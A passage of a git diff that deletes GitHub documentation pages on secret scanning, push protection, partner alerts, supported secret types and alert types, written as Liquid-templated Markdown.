---- -title: Enabling secret scanning features -shortTitle: Enable features -allowTitleToDifferFromFilename: true -intro: 'Learn how to enable {% data variables.product.prodname_secret_scanning %} to detect secrets that are already visible in a repository, as well as push protection to proactively secure you against leaking additional secrets by blocking pushes containing secrets.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /enabling-secret-scanning-for-your-repository - - /enabling-push-protection-for-your-repository - - /enabling-validity-checks-for-your-repository -redirect_from: - - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories - - /github/administering-a-repository/configuring-secret-scanning-for-your-repositories - - /code-security/secret-scanning/configuring-secret-scanning-for-your-repositories ---- diff --git a/content/code-security/secret-scanning/index.md b/content/code-security/secret-scanning/index.md deleted file mode 100644 index 3af8406c0ed3..000000000000 --- a/content/code-security/secret-scanning/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Keeping secrets secure with secret scanning -shortTitle: Secret scanning -allowTitleToDifferFromFilename: true -intro: 'Let {% data variables.product.company_short %} do the hard work of ensuring that tokens, private keys, and other code secrets are not exposed in your repository.' -product: '{% data reusables.gated-features.secret-scanning %}' -redirect_from: - - /code-security/secret-security -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /introduction - - /enabling-secret-scanning-features - - /managing-alerts-from-secret-scanning - - /working-with-secret-scanning-and-push-protection - - /using-advanced-secret-scanning-and-push-protection-features - - /copilot-secret-scanning - - /troubleshooting-secret-scanning-and-push-protection - - /secret-scanning-partnership-program ---- diff --git a/content/code-security/secret-scanning/introduction/about-push-protection.md b/content/code-security/secret-scanning/introduction/about-push-protection.md deleted file mode 100644 index 16a2b23c2bfb..000000000000 --- a/content/code-security/secret-scanning/introduction/about-push-protection.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: About push protection -intro: 'Push protection blocks contributors from pushing secrets to a repository and generates an alert whenever a contributor bypasses the block.{% ifversion secret-scanning-push-protection-for-users %} Push protection can be applied at the repository, organization, and user account level{% else %} You can apply push protection at repository or organization level{% endif %}.' -product: '{% data reusables.gated-features.push-protection-for-repos %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/code-security/secret-scanning/protecting-pushes-with-secret-scanning - - /code-security/secret-scanning/protecting-pushes-with-secret-scanning - - /code-security/secret-scanning/push-protection-for-repositories-and-organizations -type: overview -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Push protection ---- - -## About push protection - -Push protection is a {% data variables.product.prodname_secret_scanning %} feature that is designed to prevent sensitive information, such as secrets or tokens, from being pushed to your repository in the first place. Unlike {% data variables.product.prodname_secret_scanning %}, which detects secrets after they have been committed, push protection proactively scans your code for secrets during the push process and blocks the push if any are detected. - -Push protection helps you avoid the risks associated with exposed secrets, like unauthorized access to resources or services. With this feature, developers get immediate feedback and can address potential issues before they become a security concern. - -{% ifversion secret-scanning-push-protection-for-users %} - -You can enable push protection: - -* At repository/organization level, if you are a repository administrator or an organization owner. You will see alerts in the **Security** tab of your repository when a contributor to the repository bypasses push protection. -* For your account on {% data variables.product.prodname_dotcom %}, as a user. This type of push protection is referred to as "push protection for users". It protects you from pushing secrets to _any_ public repository on {% data variables.product.prodname_dotcom %}, but no alerts are generated. - -{% endif %} - -For information about the secrets and service providers supported by push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -Push protection has some limitations. For more information, see [AUTOTITLE](/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning#push-protection-limitations). - -## How push protection works - -Push protection works: - -* From the command line. See [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line). -* In the {% data variables.product.prodname_dotcom %} UI. See [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui).{% ifversion push-protection-delegated-bypass-file-upload-support %} -* On files uploaded onto the repository on {% data variables.product.prodname_dotcom %}.{% endif %}{% ifversion secret-scanning-push-protection-content-endpoints %} -* From the REST API. See [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api).{% endif %} - -Once enabled, if push protection detects a potential secret during a push attempt, it will block the push and provide a detailed message explaining the reason for the block. You will need to review the code in question, remove any sensitive information, and reattempt the push. - -By default, anyone with write access to the repository can choose to bypass push protection by specifying one of the bypass reasons outlined in the table. {% data reusables.secret-scanning.push-protection-bypass %} - -{% data reusables.secret-scanning.bypass-reasons-and-alerts %} - -{% ifversion push-protection-delegated-bypass %} If you want greater control over which contributors can bypass push protection and which pushes containing secrets should be allowed, you can enable delegated bypass for push protection. Delegated bypass lets you configure a designated group of reviewers to oversee and manage requests to bypass push protection from contributors pushing to the repository. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection).{% endif %} - -{% ifversion secret-scanning-push-protection-content-endpoints %}You can also bypass push protection using the REST API. For more information, see [AUTOTITLE](/rest/secret-scanning/secret-scanning?apiVersion=2022-11-28#create-a-push-protection-bypass).{% endif %} - -## About the benefits of push protection - -* **Preventative security:** Push protection acts as a frontline defense mechanism by scanning code for secrets at the time of the push. This preventative approach helps to catch potential issues before they are merged into your repository. - -* **Immediate feedback:** Developers receive instant feedback if a potential secret is detected during a push attempt. This immediate notification allows for quick remediation, reducing the likelihood of sensitive information being exposed. - -* **Reduced risk of data leaks:** By blocking commits that contain sensitive information, push protection significantly reduces the risk of accidental data leaks. This helps in safeguarding against unauthorized access to your infrastructure, services, and data. - -* **Efficient secret management:** Instead of retrospectively dealing with exposed secrets, developers can address issues at the source. This makes secret management more efficient and less time-consuming. - -* **Integration with CI/CD pipelines:** Push Protection can be integrated into your Continuous Integration/Continuous Deployment (CI/CD) pipelines, ensuring that every push is scanned for secrets before it gets deployed. This adds an extra layer of security to your DevOps practices. - -{% ifversion secret-scanning-push-protection-custom-patterns %}* **Ability to detect custom patterns:** Organizations can define custom patterns for detecting secrets unique to their environment. This customization ensures that push Protection can effectively identify and block even non-standard secrets.{% endif %} - -{% ifversion push-protection-delegated-bypass %}* **Delegated bypass for flexibility:** For cases where false positives occur or when certain patterns are necessary, the delegated bypass feature allows designated users to approve specific pushes. This provides flexibility without compromising overall security.{% endif %} - -{% ifversion secret-scanning-push-protection-for-users %} - -Every user across {% data variables.product.prodname_dotcom %} can also enable push protection for themselves within their individual settings. Enabling push protection for your user account means that your pushes are protected whenever you push to a public repository on {% data variables.product.prodname_dotcom %}, without relying on that repository to have push protection enabled. For more information, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users). - -{% endif %} - -## Customizing push protection - -Once push protection is enabled, you can customize it further: - -### Integrate with CI/CD pipelines - -Integrate push protection with your Continuous Integration/Continuous Deployment (CI/CD) pipelines to ensure that it runs scans during automated processes. This typically involves adding steps in your pipeline configuration file to call GitHub's APIs or using {% data variables.product.prodname_actions %}. - -{% ifversion secret-scanning-push-protection-custom-patterns %} - -### Define custom patterns - -Define custom patterns that push protection can use to identify secrets and block pushes containing these secrets. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -{% endif %} - -{% ifversion push-protection-delegated-bypass %} - -### Configure delegated bypass - -Define contributors who can bypass push protection and add an approval process for other contributors. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository) -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line) -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui){% ifversion secret-scanning-push-protection-custom-patterns %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning){% endif %}{% ifversion push-protection-delegated-bypass %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection){% endif %} diff --git a/content/code-security/secret-scanning/introduction/about-secret-scanning-for-partners.md b/content/code-security/secret-scanning/introduction/about-secret-scanning-for-partners.md deleted file mode 100644 index 132774ff2f1a..000000000000 --- a/content/code-security/secret-scanning/introduction/about-secret-scanning-for-partners.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: About secret scanning for partners -intro: 'When {% data variables.product.prodname_secret_scanning %} detects authentication details for a service provider in a public repository on {% data variables.product.prodname_dotcom %}, an alert is sent directly to the provider. This allows service providers who are {% data variables.product.prodname_dotcom %} partners to promptly take action to secure their systems.' -product: '{% data reusables.gated-features.secret-scanning-partner-alerts %}' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Secret scanning - - Secret Protection -shortTitle: Secret scanning for partners ---- - -## About {% data variables.secret-scanning.partner_alerts %} - -{% data variables.product.github %} scans public repositories and public npm packages for secrets issued by specific service providers who joined our partnership program, and alerts the relevant service provider whenever a secret is detected in a commit. The service provider validates the string and then decides whether they should revoke the secret, issue a new secret, or contact you directly. Their action will depend on the associated risks to you or them. {% data reusables.secret-scanning.partner-program-link %} - -> [!NOTE]You cannot change the configuration of {% data variables.product.prodname_secret_scanning %} for partner patterns on public repositories. - -The reason partner alerts are directly sent to the secret providers whenever a leak is detected for one of their secrets is that this enables the provider to take immediate action to protect you and protect their resources. The notification process for regular alerts is different. Regular alerts are displayed on the repository's **Security** tab on {% data variables.product.prodname_dotcom %} for you to resolve. - -{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} - -## What are the supported secrets - -For information about the secrets and service providers supported by push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) -* [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns) -* [AUTOTITLE](/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program) diff --git a/content/code-security/secret-scanning/introduction/about-secret-scanning.md b/content/code-security/secret-scanning/introduction/about-secret-scanning.md deleted file mode 100644 index ee1c7429d46b..000000000000 --- a/content/code-security/secret-scanning/introduction/about-secret-scanning.md +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: About secret scanning -intro: '{% data variables.product.github %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' -product: '{% data reusables.gated-features.secret-scanning %}' -redirect_from: - - /github/administering-a-repository/about-token-scanning - - /articles/about-token-scanning - - /articles/about-token-scanning-for-private-repositories - - /github/administering-a-repository/about-secret-scanning - - /code-security/secret-security/about-secret-scanning - - /code-security/secret-scanning/about-secret-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Secret scanning - - Secret Protection -shortTitle: Secret scanning ---- - -## About {% data variables.product.prodname_secret_scanning %} - -{% data variables.product.prodname_secret_scanning_caps %} is a security feature that helps detect and prevent the accidental inclusion of sensitive information such as API keys, passwords, tokens, and other secrets in your repository. When enabled, {% data variables.product.prodname_secret_scanning %} scans commits in repositories for known types of secrets and alerts repository administrators upon detection. - -<!-- expires 2025-04-04 --> - -{% data variables.product.prodname_secret_scanning_caps %} scans your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for secrets{% ifversion ghec or ghes %}, even if the repository is archived{% endif %}. {% data variables.product.prodname_dotcom %} will also periodically run a full Git history scan for new secret types in existing content in {% ifversion fpt %}public repositories{% else %}repositories with {% data variables.product.prodname_GH_secret_protection %} enabled{% endif %} where {% data variables.product.prodname_secret_scanning %} is enabled when new supported secret types are added. - -<!-- end expires 2025-04-04 --> - -{% data reusables.secret-scanning.what-is-scanned %} - -When a supported secret is leaked, {% data variables.product.github %} generates a {% data variables.product.prodname_secret_scanning %} alert. Alerts are reported on the **Security** tab of repositories on {% data variables.product.github %}, where you can view, evaluate, and resolve them. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -{% ifversion fpt or ghec %}Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning. We automatically run {% data variables.product.prodname_secret_scanning %} for partner patterns on all public repositories and public npm packages.{% data reusables.secret-scanning.partner-program-link %} - -Any strings that match patterns that were provided by secret scanning partners are reported directly to the relevant partner, and aren't displayed on {% data variables.product.prodname_dotcom %}. For more information about partner patterns, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts).{% endif %} - -For information about the secrets and service providers supported by {% data variables.product.prodname_secret_scanning %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -You can use the REST API to monitor results from {% data variables.product.prodname_secret_scanning %} across your repositories{% ifversion ghes %} or your organization{% endif %}. For more information about API endpoints, see [AUTOTITLE](/rest/secret-scanning). - -{% ifversion ghec or ghes %} -You can also use security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). -{% endif %} - -{% data reusables.secret-scanning.audit-secret-scanning-events %} - -## How {% data variables.product.prodname_secret_scanning %} works - -Below is a typical workflow that explains how {% data variables.product.prodname_secret_scanning %} works: - -* **Detection:** {% data variables.product.prodname_secret_scanning_caps %} automatically scans your repository's contents for sensitive data, such as API keys, passwords, tokens, and other secrets. It looks for patterns and heuristics that match known types of secrets. - -* **Alerts:** When a potential secret is detected, {% data variables.product.prodname_dotcom %} generates an alert and notifies the relevant repository administrators and users. This notification includes details about the detected secret, such as its location in the repository. For more information about alert types and alert details, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts). - -* **Review:** When a secret is detected, you'll need to review the alert details provided. - -* **Remediation:** You then need to take appropriate action to remediate the exposure. This should always include rotating the affected credential to ensure it is no longer usable. It may also include removing the secret from the repository's history (using tools like `git-filter-repo`; see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository) for more details) though this will likely involve a heavy cost in time and effort, and is usually unnecessary if the credentials have been revoked. - -* **Monitoring:** It's good practice to regularly audit and monitor your repositories to ensure no other secrets are exposed. - -{% ifversion fpt or ghec %} - -* **Integration with partners:** {% data variables.product.prodname_dotcom %} works with various service providers to validate secrets. When a partner secret is detected, {% data variables.product.prodname_dotcom %} notifies the provider so they can take appropriate action, such as revoking the credential. For more information about the partnership program, see [AUTOTITLE](/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program). - -{% endif %} - -## About the benefits of {% data variables.product.prodname_secret_scanning %} - -* **Enhanced security:** {% data variables.product.prodname_secret_scanning_caps %} scans your repositories for sensitive information like API keys, passwords, tokens, and other secrets. By detecting these early, you can mitigate potential security risks before they are exploited by malicious actors. - -* **Automated detection:** The feature automatically scans your codebase, including commits, issues, and pull requests, ensuring continuous protection without requiring manual intervention. This automation helps in maintaining security even as your repository evolves. - -* **Real-time alerts:** When a secret is detected, {% data variables.product.prodname_secret_scanning %} provides real-time alerts to repository administrators and contributors. This immediate feedback allows for swift remediation actions. - -{% ifversion fpt or ghec %} - -* **Integration with service providers:** {% data variables.product.prodname_dotcom %} partners with various service providers to validate detected secrets. When a secret is identified, {% data variables.product.prodname_dotcom %} notifies the corresponding service provider to take appropriate actions, such as revoking the exposed credential. For more information, see [AUTOTITLE](/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program). - -{% endif %} - -{% ifversion ghec or ghes %} - -* **Custom pattern support:** Organizations can define custom patterns to detect proprietary or unique types of secrets that may not be covered by default patterns. This flexibility allows for tailored security measures specific to your environment. - -{% endif %} - -{% ifversion secret-scanning-non-provider-patterns %} - -* **Ability to detect non-provider patterns:** You can expand the detection to include non-provider patterns such as connection strings, authentication headers, and private keys, for your repository or organization. - -{% endif %} - -## Customizing {% data variables.product.prodname_secret_scanning %} - -Once {% data variables.product.prodname_secret_scanning %} is enabled, you can customize it further: - -{% ifversion secret-scanning-non-provider-patterns %} - -### Detection of non-provider patterns - -Scan for and detect secrets that are not specific to a service provider, such as private keys and generic API keys. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns). - -{% endif %} - -### Performing validity checks - -Validity checks help you prioritize alerts by telling you which secrets are `active` or `inactive`. For more information, see{% ifversion secret-scanning-validity-check-partner-patterns %} [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository) and{% endif %} [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity). - -{% ifversion ghec or ghes %} - -### Defining custom patterns - -Define your own patterns for secrets used by your organization that {% data variables.product.prodname_secret_scanning %} can scan for and detect. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -{% endif %} - -{% ifversion secret-scanning-ai-generic-secret-detection %} - -### {% data variables.secret-scanning.copilot-secret-scanning %} - -* **{% data variables.secret-scanning.generic-secret-detection-caps %}:** Leverage {% data variables.product.prodname_secret_scanning %}'s AI capabilities to detect unstructured secrets, such as passwords, in your repository. For more information, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets).{% ifversion secret-scanning-custom-pattern-ai-generated %} -* **{% data variables.secret-scanning.custom-pattern-regular-expression-generator-caps %}:** Leverage {% data variables.product.prodname_secret_scanning %}'s AI capabilities to generate regular expressions that will capture all your custom patterns. For more information, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator).{% endif %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository) -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection) -* [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization) -* [AUTOTITLE](/code-security/getting-started/securing-your-repository) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure) diff --git a/content/code-security/secret-scanning/introduction/index.md b/content/code-security/secret-scanning/introduction/index.md deleted file mode 100644 index 286b2a482c96..000000000000 --- a/content/code-security/secret-scanning/introduction/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Introduction to secret scanning -shortTitle: Introduction -allowTitleToDifferFromFilename: true -intro: 'Learn how {% data variables.product.prodname_secret_scanning %} detects secrets in existing content and new commits, helping you to avoid exposing sensitive data that could be exploited.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Secret scanning - - Secret Protection -children: - - /about-secret-scanning - - /about-push-protection - - /about-secret-scanning-for-partners - - /supported-secret-scanning-patterns ---- diff --git a/content/code-security/secret-scanning/introduction/supported-secret-scanning-patterns.md b/content/code-security/secret-scanning/introduction/supported-secret-scanning-patterns.md deleted file mode 100644 index 4de417f97297..000000000000 --- a/content/code-security/secret-scanning/introduction/supported-secret-scanning-patterns.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Supported secret scanning patterns -intro: 'Lists of supported secrets and the partners that {% data variables.product.company_short %} works with to prevent fraudulent use of secrets that were committed accidentally.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Secret scanning - - Secret Protection -redirect_from: - - /code-security/secret-scanning/secret-scanning-partners - - /code-security/secret-scanning/secret-scanning-patterns -layout: inline -shortTitle: Supported patterns ---- - -## About {% data variables.product.prodname_secret_scanning %} patterns - -{% data reusables.secret-scanning.alert-types %} - -For in-depth information about each alert type, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts). - -For details about all the supported patterns, see the [Supported secrets](#supported-secrets) section below. - -If you use the REST API for {% data variables.product.prodname_secret_scanning %}, you can use the `Secret type` to report on secrets from specific issuers. For more information, see [AUTOTITLE](/enterprise-cloud@latest/rest/secret-scanning). - -If you believe that {% data variables.product.prodname_secret_scanning %} should have detected a secret committed to your repository, and it has not, you first need to check that {% data variables.product.prodname_dotcom %} supports your secret. For more information, refer to the following sections. For more advanced troubleshooting information, see [AUTOTITLE](/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning). - -## Supported secrets - -This table lists the secrets supported by {% data variables.product.prodname_secret_scanning %}. You can see the types of alert that get generated for each token, as well as whether a validity check is performed on the token. - -* **Provider:** Name of the token provider.{% ifversion fpt or ghec %} -* **Partner:** Token for which leaks are reported to the relevant token partner. Applies to public repositories only. -* **User:** Token for which leaks are reported to users on {% data variables.product.prodname_dotcom %}.{% ifversion secret-scanning-non-provider-patterns %} - * Applies to public repositories, and to private repositories where {% data variables.product.prodname_GH_secret_protection %} and {% data variables.product.prodname_secret_scanning %} are enabled. - * Includes {% ifversion secret-scanning-alert-experimental-list %}default{% else %}high confidence{% endif %} tokens, which relate to supported patterns and specified custom patterns, as well as non-provider tokens such as private keys, which usually have a higher ratio of false positives. - * For {% data variables.product.prodname_secret_scanning %} to scan for non-provider patterns, the detection of non-provider patterns must be enabled for the repository or the organization. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository). - {% data reusables.secret-scanning.non-provider-patterns-beta %}{% endif %}{% endif %}{% ifversion ghes %} -* **{% data variables.product.prodname_secret_scanning_caps %} alert:** Token for which leaks are reported to users on {% data variables.product.prodname_dotcom %}.{% ifversion secret-scanning-non-provider-patterns %} - * Applies to private repositories where {% data variables.product.prodname_GH_secret_protection %} and {% data variables.product.prodname_secret_scanning %} are enabled. - * Includes {% ifversion secret-scanning-alert-experimental-list %}default{% else %}high confidence{% endif %} tokens, which relate to supported patterns and specified custom patterns, as well as non-provider tokens such as private keys, which often result in false positives.{% else %} Applies to private repositories where {% data variables.product.prodname_GH_secret_protection %} and {% data variables.product.prodname_secret_scanning %} enabled.{% endif %}{% endif %} -* **Push protection:** Token for which leaks are reported to users on {% data variables.product.prodname_dotcom %}. Applies to repositories with {% data variables.product.prodname_secret_scanning %} and push protection enabled. - -* **Validity check:** Token for which a validity check is implemented. {% ifversion secret-scanning-validity-check-partner-patterns %}For partner tokens, {% data variables.product.prodname_dotcom %} sends the token to the relevant partner. Note that not all partners are based in the United States. For more information, see [{% data variables.product.prodname_AS %}](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#advanced-security) in the Site Policy documentation.{% else %} {% ifversion ghes %}Currently only applies to {% data variables.product.prodname_dotcom %} tokens.{% endif %} {% ifversion fpt %}Currently only applies to {% data variables.product.prodname_dotcom %} tokens, and not shown in the table. For more information about validity check support see [AUTOTITLE](/enterprise-cloud@latest/code-security/secret-scanning/secret-scanning-patterns#supported-secrets) in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}{% endif %} - -{% ifversion secret-scanning-non-provider-patterns %} - -### Non-provider patterns - -{% data reusables.secret-scanning.non-provider-patterns-beta %} - -| Provider | Token | -|----------|:--------------------| -| Generic | password | -| Generic | http_basic_authentication_header | -| Generic | http_bearer_authentication_header | -| Generic | mongodb_connection_string | -| Generic | mysql_connection_string | -| Generic | openssh_private_key | -| Generic | pgp_private_key | -| Generic | postgres_connection_string | -| Generic | rsa_private_key | - ->[!NOTE] Push protection and validity checks are not supported for non-provider patterns. - -### {% ifversion secret-scanning-alert-experimental-list %}Default{% else %}High confidence{% endif %} patterns - -{% endif %} - -<!-- FPT version of table --> -{% ifversion fpt %} - -| Provider | Token | Partner | User | Push protection -|----|:----|:----:|:----:|:----:| -{%- for entry in secretScanningData %} -| {{ entry.provider }} | {{ entry.secretType }} | {% if entry.isPublic %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.isPrivateWithGhas %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.hasPushProtection %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | -{%- endfor %} - -{% endif %} - -<!-- GHEC version of table --> -{% ifversion ghec %} - -| Provider | Token | Partner | User | Push protection | Validity check | -|----|:----|:----:|:----:|:----:|:----:| -{%- for entry in secretScanningData %} -| {{ entry.provider }} | {{ entry.secretType }} | {% if entry.isPublic %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.isPrivateWithGhas %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.hasPushProtection %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.hasValidityCheck %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | -{%- endfor %} - -{% endif %} - -<!-- GHES 3.9+ table --> -{% ifversion ghes %} - -| Provider | Token | {% data variables.product.prodname_secret_scanning_caps %} alert | Push protection | Validity check | -|----|:----|:----:|:----:|:----:| -{%- for entry in secretScanningData %} -| {{ entry.provider }} | {{ entry.secretType }} | {% if entry.isPrivateWithGhas %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.hasPushProtection %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | {% if entry.hasValidityCheck %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Unsupported" %}{% endif %} | -{%- endfor %} - -{% endif %} - -#### Token versions - -<a name="token-versions"></a> - -Service providers update the patterns used to generate tokens periodically and may support more than one version of a token. Push protection only supports the most recent token versions that {% data variables.product.prodname_secret_scanning %} can identify with confidence. This avoids push protection blocking commits unnecessarily when a result may be a false positive, which is more likely to happen with legacy tokens.<!-- markdownlint-disable-line MD053 --> - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts) -{%- ifversion fpt or ghec %} -* [AUTOTITLE](/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program) -{%- endif %} -* [AUTOTITLE](/code-security/getting-started/securing-your-repository) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure) diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts.md deleted file mode 100644 index 90f9fa925820..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: About secret scanning alerts -intro: 'Learn about the different types of {% data variables.secret-scanning.alerts %}.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: About alerts -allowTitleToDifferFromFilename: true ---- - -## About types of alerts - -{% data reusables.secret-scanning.alert-types %} - -## About {% ifversion fpt or ghec %}user alerts {% else %}{% data variables.secret-scanning.alerts %}{% endif %} - -When {% data variables.product.company_short %} detects a supported secret in a repository that has {% data variables.product.prodname_secret_scanning %} enabled, a {% ifversion fpt or ghec %}user {% else %}{% data variables.product.prodname_secret_scanning %}{% endif %} alert is generated and displayed in the **Security** tab of the repository. - -{% ifversion secret-scanning-non-provider-patterns %}{% ifversion fpt or ghec %}User {% else %}{% data variables.product.prodname_secret_scanning %}{% endif %} alerts can be of the following types: - -* {% ifversion secret-scanning-alert-experimental-list %}Default{% else %}High confidence{% endif %} alerts, which relate to supported patterns and specified custom patterns. -* {% ifversion secret-scanning-alert-experimental-list %}Experimental{% else %}Other{% endif %} alerts, which can have a higher ratio of false positives or secrets used in tests. - -{% data variables.product.prodname_dotcom %} displays {% ifversion secret-scanning-alert-experimental-list %}experimental{% else %}these "other"{% endif %} alerts in a different list to {% ifversion secret-scanning-alert-experimental-list %}default{% else %}high confidence{% endif %} alerts, making triaging a better experience for users. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts). - -{% endif %} - -{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} - -## About push protection alerts - -Push protection scans pushes for supported secrets. If push protection detects a supported secret, it will block the push. When a contributor bypasses push protection to push a secret to the repository, a push protection alert is generated and displayed in the **Security** tab of the repository. To see all push protection alerts for a repository, you must filter by `bypassed: true` on the alerts page. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts#filtering-alerts). - -{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} - ->[!NOTE] -> {% ifversion secret-scanning-push-protection-for-users %}You can also enable push protection for your personal account, called "push protection for users", which prevents you from accidentally pushing supported secrets to _any_ public repository. Alerts are _not_ created if you choose to bypass your user-based push protection only. Alerts are only created if the repository itself has push protection enabled. For more information, see 